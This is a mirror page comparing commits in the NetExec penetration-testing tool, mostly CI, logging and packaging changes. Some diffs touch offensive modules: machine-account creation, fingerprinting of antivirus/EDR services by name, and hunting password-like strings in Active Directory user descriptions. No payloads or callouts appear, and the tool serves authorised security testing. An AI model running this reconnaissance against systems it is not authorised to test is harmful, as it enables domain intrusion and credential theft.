mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-10 17:37:26 -10:00
Compare commits
184
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c873246a11 | ||
|
|
18c3fd0b30 | ||
|
|
144690d846 | ||
|
|
ee88b806b7 | ||
|
|
1f8a0ef491 | ||
|
|
1ca2fd51b2 | ||
|
|
b08c509b3c | ||
|
|
32bc19a0d5 | ||
|
|
bc4416d567 | ||
|
|
e37c868529 | ||
|
|
992ddc82b4 | ||
|
|
f0fa89b88d | ||
|
|
bc50a2ce87 | ||
|
|
f3fd612b56 | ||
|
|
cd363e97ad | ||
|
|
4e98f7bb02 | ||
|
|
16c6ebfe1a | ||
|
|
9662ef69a2 | ||
|
|
5d70195b93 | ||
|
|
7d44b11c2b | ||
|
|
9e43aab3ee | ||
|
|
89d3790aa4 | ||
|
|
fcecda3696 | ||
|
|
d19b5243f1 | ||
|
|
4cabffb525 | ||
|
|
b0ccbe28e9 | ||
|
|
af9656eaee | ||
|
|
ca09910606 | ||
|
|
32b96c23fb | ||
|
|
9359ac26da | ||
|
|
2d7ac3c8f1 | ||
|
|
09f45e866c | ||
|
|
98e7128293 | ||
|
|
3523cd69cf | ||
|
|
bd5a645571 | ||
|
|
2f62e1c875 | ||
|
|
044f63b8f3 | ||
|
|
0a42ebb6ec | ||
|
|
6104b5d27b | ||
|
|
3be7a02810 | ||
|
|
13ca79f44f | ||
|
|
dbc67e5ef8 | ||
|
|
34ebd5ad54 | ||
|
|
5c249d59e5 | ||
|
|
3e3b37fe1a | ||
|
|
6856d2696a | ||
|
|
59297e83d5 | ||
|
|
41992be628 | ||
|
|
da7c507f3f | ||
|
|
72eeb7e31d | ||
|
|
2189b45c5b | ||
|
|
cd0d3c8f41 | ||
|
|
df4ebf3131 | ||
|
|
75e9316104 | ||
|
|
ecf5772e86 | ||
|
|
2562b60344 | ||
|
|
7c68ab4db6 | ||
|
|
a7b6ccf171 | ||
|
|
0ecdfd3564 | ||
|
|
dd075d4dcf | ||
|
|
cee3430be7 | ||
|
|
01c4a4479a | ||
|
|
2e493f788d | ||
|
|
e348965910 | ||
|
|
b1a07259db | ||
|
|
59a201a8db | ||
|
|
c331ebec12 | ||
|
|
9aaff6fa06 | ||
|
|
9d2d1b65d1 | ||
|
|
2457ac0259 | ||
|
|
e14bbaf5a3 | ||
|
|
e728c15c6d | ||
|
|
0eeddfbf83 | ||
|
|
67bf99b39c | ||
|
|
1ba3d04a1d | ||
|
|
4b35ab7a9e | ||
|
|
b73eabafdd | ||
|
|
3937f46fd6 | ||
|
|
f6c5073ed9 | ||
|
|
49513cc1c3 | ||
|
|
8f2c847815 | ||
|
|
c659d75ae4 | ||
|
|
63d6e19208 | ||
|
|
114784911c | ||
|
|
cb40697cef | ||
|
|
4af3705c4f | ||
|
|
c11a4353ce | ||
|
|
0626bbc729 | ||
|
|
4fb457c57a | ||
|
|
b85add8de9 | ||
|
|
cec36e7e24 | ||
|
|
35fe8b33e6 | ||
|
|
160681056b | ||
|
|
840b4dd834 | ||
|
|
15d52b778b | ||
|
|
eaeda89278 | ||
|
|
52754f6eba | ||
|
|
e8a083e58c | ||
|
|
69747b9cba | ||
|
|
fdcda98d0a | ||
|
|
d03f19eff3 | ||
|
|
deededf441 | ||
|
|
220cecdc0e | ||
|
|
32583e94e1 | ||
|
|
9106c9ab0d | ||
|
|
8235bbdbc0 | ||
|
|
e9583ca56c | ||
|
|
ffa964647b | ||
|
|
c7fcdee1d5 | ||
|
|
7a226877e8 | ||
|
|
3e2e57dd7a | ||
|
|
22da1831ec | ||
|
|
bf737f186d | ||
|
|
b80aa433d2 | ||
|
|
5bd689177f | ||
|
|
b122a39b15 | ||
|
|
41ed36d6fa | ||
|
|
bfe7e46800 | ||
|
|
2e311a150b | ||
|
|
774f77e719 | ||
|
|
e691e350a9 | ||
|
|
0917a05188 | ||
|
|
04b0b3aa6b | ||
|
|
63f9f3507e | ||
|
|
09a50d8043 | ||
|
|
e31742ec67 | ||
|
|
a6935b4d8d | ||
|
|
041645aed9 | ||
|
|
6a24d76db9 | ||
|
|
eb244948e6 | ||
|
|
8940badc09 | ||
|
|
d8284f9178 | ||
|
|
934ba6f139 | ||
|
|
a9bd576392 | ||
|
|
58d2039553 | ||
|
|
6c3746643e | ||
|
|
e0b6f571c8 | ||
|
|
fc40c778fe | ||
|
|
9603f8f450 | ||
|
|
7c07ab04d7 | ||
|
|
c1a2a92816 | ||
|
|
3dc84e1228 | ||
|
|
1e517c8313 | ||
|
|
c123e37d4e | ||
|
|
58c0529264 | ||
|
|
40e99913e3 | ||
|
|
e870a30416 | ||
|
|
fb8c4bcdcd | ||
|
|
b0ec4b7951 | ||
|
|
e5bba812e8 | ||
|
|
49e909c50a | ||
|
|
14e7034352 | ||
|
|
6a4852e013 | ||
|
|
3a1e93a386 | ||
|
|
762a9ac102 | ||
|
|
0eee328ea0 | ||
|
|
0608628aff | ||
|
|
020ec1758c | ||
|
|
1e68591742 | ||
|
|
590a4e2536 | ||
|
|
3c1927afd7 | ||
|
|
9a915f0f24 | ||
|
|
54e6ebb017 | ||
|
|
2e196b5a50 | ||
|
|
382af18513 | ||
|
|
39bf9b109c | ||
|
|
e8fe42cb4a | ||
|
|
addc060077 | ||
|
|
2a66f36364 | ||
|
|
60f1785608 | ||
|
|
ce9b766276 | ||
|
|
ae158614e6 | ||
|
|
d885974121 | ||
|
|
e367bf9fa8 | ||
|
|
6b6decd1d7 | ||
|
|
bcd0896bc1 | ||
|
|
328b25b434 | ||
|
|
45b02250e6 | ||
|
|
add1c66375 | ||
|
|
68c197d471 | ||
|
|
ac2a56ef46 | ||
|
|
02bdbef712 | ||
|
|
303a051003 | ||
|
|
3dcd24869d |
No files matched your search
@@ -1,11 +1,11 @@
|
||||
name: Lint Python code with ruff
|
||||
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
|
||||
|
||||
on: [push, pull_request]
|
||||
on:
|
||||
push:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Lint Python code with ruff
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
|
||||
+34
-18
@@ -1,32 +1,48 @@
|
||||
name: NetExec Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: NetExec Tests for Py${{ matrix.python-version }}
|
||||
name: Test for Py${{ matrix.python-version }}
|
||||
if: github.event.review.state == 'APPROVED'
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Run the e2e test
|
||||
run: |
|
||||
poetry run pytest tests
|
||||
- uses: actions/checkout@v3
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -M veeam
|
||||
@@ -38,6 +38,7 @@ a = Analysis(
|
||||
'nxc.protocols.smb.smbspider',
|
||||
'nxc.protocols.smb.passpol',
|
||||
'nxc.protocols.mssql.mssqlexec',
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.msada_guids',
|
||||
@@ -71,6 +72,7 @@ a = Analysis(
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
|
||||
+12
-4
@@ -9,13 +9,20 @@ import nxc
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.logger import nxc_logger, setup_debug_logging
|
||||
import importlib.metadata
|
||||
|
||||
|
||||
def gen_cli_args():
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
setup_debug_logging()
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "nxc4u"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
|
||||
parser = argparse.ArgumentParser(description=rf"""
|
||||
. .
|
||||
@@ -34,9 +41,10 @@ def gen_cli_args():
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||
{highlight('Commit', 'red')} : {highlight(COMMIT)}
|
||||
""", formatter_class=RawTextHelpFormatter)
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
|
||||
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
|
||||
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||
@@ -95,7 +103,7 @@ def gen_cli_args():
|
||||
sys.exit(1)
|
||||
|
||||
if args.version:
|
||||
print(f"{VERSION} - {CODENAME}")
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
sys.exit(1)
|
||||
|
||||
return args
|
||||
|
||||
+12
-2
@@ -14,6 +14,7 @@ from nxc.protocols.ldap.laps import laps_search
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
@@ -121,7 +122,14 @@ class connection:
|
||||
try:
|
||||
self.proto_flow()
|
||||
except Exception as e:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
else:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
finally:
|
||||
self.logger.debug(f"Closing connection to: {host}")
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.close()
|
||||
|
||||
@staticmethod
|
||||
def proto_args(std_parser, module_parser):
|
||||
@@ -163,7 +171,9 @@ class connection:
|
||||
def proto_flow(self):
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj():
|
||||
if not self.create_conn_obj():
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
|
||||
+1
-1
@@ -13,7 +13,7 @@ bh_enabled = False
|
||||
bh_uri = 127.0.0.1
|
||||
bh_port = 7687
|
||||
bh_user = neo4j
|
||||
bh_pass = neo4j
|
||||
bh_pass = bloodhoundcommunityedition
|
||||
|
||||
[Empire]
|
||||
api_host = 127.0.0.1
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ from nxc.paths import WORKSPACE_DIR
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
|
||||
|
||||
|
||||
def open_config(config_path):
|
||||
|
||||
@@ -52,14 +52,14 @@ def add_user_bh(user, domain, logger, config):
|
||||
_add_with_domain(user_info, domain, tx, logger)
|
||||
except AuthError:
|
||||
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
|
||||
return
|
||||
exit()
|
||||
except ServiceUnavailable:
|
||||
logger.fail(f"Neo4J does not seem to be available on {uri}.")
|
||||
return
|
||||
exit()
|
||||
except Exception as e:
|
||||
logger.fail(f"Unexpected error with Neo4J: {e}")
|
||||
return
|
||||
driver.close()
|
||||
finally:
|
||||
driver.close()
|
||||
|
||||
|
||||
def _add_with_domain(user_info, domain, tx, logger):
|
||||
|
||||
@@ -95,7 +95,7 @@ class ModuleLoader:
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name.lower()}": {
|
||||
f"{module_spec.name}": {
|
||||
"path": module_path,
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
|
||||
+88
-42
@@ -9,6 +9,72 @@ from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
from rich.logging import RichHandler
|
||||
import functools
|
||||
import inspect
|
||||
import argparse
|
||||
|
||||
|
||||
def parse_debug_args():
|
||||
debug_parser = argparse.ArgumentParser(add_help=False)
|
||||
debug_parser.add_argument("--debug", action="store_true")
|
||||
debug_parser.add_argument("--verbose", action="store_true")
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
|
||||
def no_debug(func):
|
||||
"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
|
||||
"""
|
||||
@functools.wraps(func)
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
self.log_console_to_file(formatted_text, *args, **kwargs)
|
||||
return wrapper
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
@@ -16,13 +82,11 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
handlers=[
|
||||
RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False,
|
||||
)
|
||||
],
|
||||
handlers=[RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
@@ -31,6 +95,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
"""Format msg for output
|
||||
@@ -40,31 +105,23 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
if self.extra is None:
|
||||
return f"{msg}", kwargs
|
||||
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
|
||||
# If the logger is being called when hooking the 'options' module function
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
return (
|
||||
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
|
||||
|
||||
@no_debug
|
||||
def display(self, msg, *args, **kwargs):
|
||||
"""Display text to console, formatted for nxc"""
|
||||
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
|
||||
@@ -72,13 +129,15 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def success(self, msg, color="green", *args, **kwargs):
|
||||
"""Print some sort of success to the user"""
|
||||
"""Prints some sort of success to the user"""
|
||||
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def highlight(self, msg, *args, **kwargs):
|
||||
"""Prints a completely yellow highlighted message to the user"""
|
||||
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
|
||||
@@ -86,6 +145,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def fail(self, msg, color="red", *args, **kwargs):
|
||||
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
|
||||
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
@@ -99,26 +159,12 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
# will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
if len(self.logger.handlers):
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(
|
||||
LogRecord(
|
||||
"nxc",
|
||||
20,
|
||||
"",
|
||||
kwargs,
|
||||
msg=text,
|
||||
args=args,
|
||||
exc_info=None,
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
else:
|
||||
self.logger.info(text)
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
@@ -152,7 +198,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
@@ -3,7 +3,6 @@ import ldap3
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
@@ -41,6 +40,7 @@ class NXCModule:
|
||||
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
sys.exit(1)
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
@@ -87,8 +87,7 @@ class NXCModule:
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
else:
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
@@ -178,7 +177,6 @@ class NXCModule:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
sys.exit(1)
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
|
||||
+16
-12
@@ -35,7 +35,7 @@ class NXCModule:
|
||||
results = self._detect_installed_services(context, connection, target)
|
||||
self.detect_running_processes(context, connection, results)
|
||||
|
||||
self.dump_results(results, connection.hostname, context)
|
||||
self.dump_results(results, context)
|
||||
|
||||
def _get_target(self, connection):
|
||||
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
|
||||
@@ -58,18 +58,16 @@ class NXCModule:
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
try:
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
try:
|
||||
lsa.LsarLookupNames(dce, policyHandle, service["name"])
|
||||
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
|
||||
results.setdefault(product["name"], {"services": []})["services"].append(service)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
|
||||
return results
|
||||
|
||||
def detect_running_processes(self, context, connection, results):
|
||||
@@ -80,13 +78,16 @@ class NXCModule:
|
||||
for product in conf["products"]:
|
||||
for pipe in product["pipes"]:
|
||||
if pathlib.PurePath(fl).match(pipe["name"]):
|
||||
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
|
||||
def dump_results(self, results, remoteName, context):
|
||||
def dump_results(self, results, context):
|
||||
if not results:
|
||||
context.log.highlight("Found NOTHING!")
|
||||
return
|
||||
@@ -261,7 +262,10 @@ conf = {
|
||||
{"name": "epfw", "description": "ESET"},
|
||||
{"name": "epfwlwf", "description": "ESET"},
|
||||
{"name": "epfwwfp", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
|
||||
{"name": "ERAAgent", "description": "ESET Management Agent service"},
|
||||
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
|
||||
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
|
||||
@@ -31,7 +31,7 @@ class NXCModule:
|
||||
self.MINLENGTH = module_options["MINLENGTH"]
|
||||
if "PASSWORDPOLICY" in module_options:
|
||||
self.PASSWORDPOLICY = True
|
||||
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
@@ -102,6 +102,11 @@ class NXCModule:
|
||||
if self.regex.search(description):
|
||||
conditionPasswordPolicy = True
|
||||
|
||||
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
if conditionFilter and not self.PASSWORDPOLICY:
|
||||
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
|
||||
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
|
||||
|
||||
return answersFiltered
|
||||
@@ -146,7 +146,7 @@ class NXCModule:
|
||||
|
||||
@staticmethod
|
||||
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
|
||||
host_id = context.db.get_computers(connection.host)[0][0]
|
||||
host_id = context.db.get_hosts(connection.host)[0][0]
|
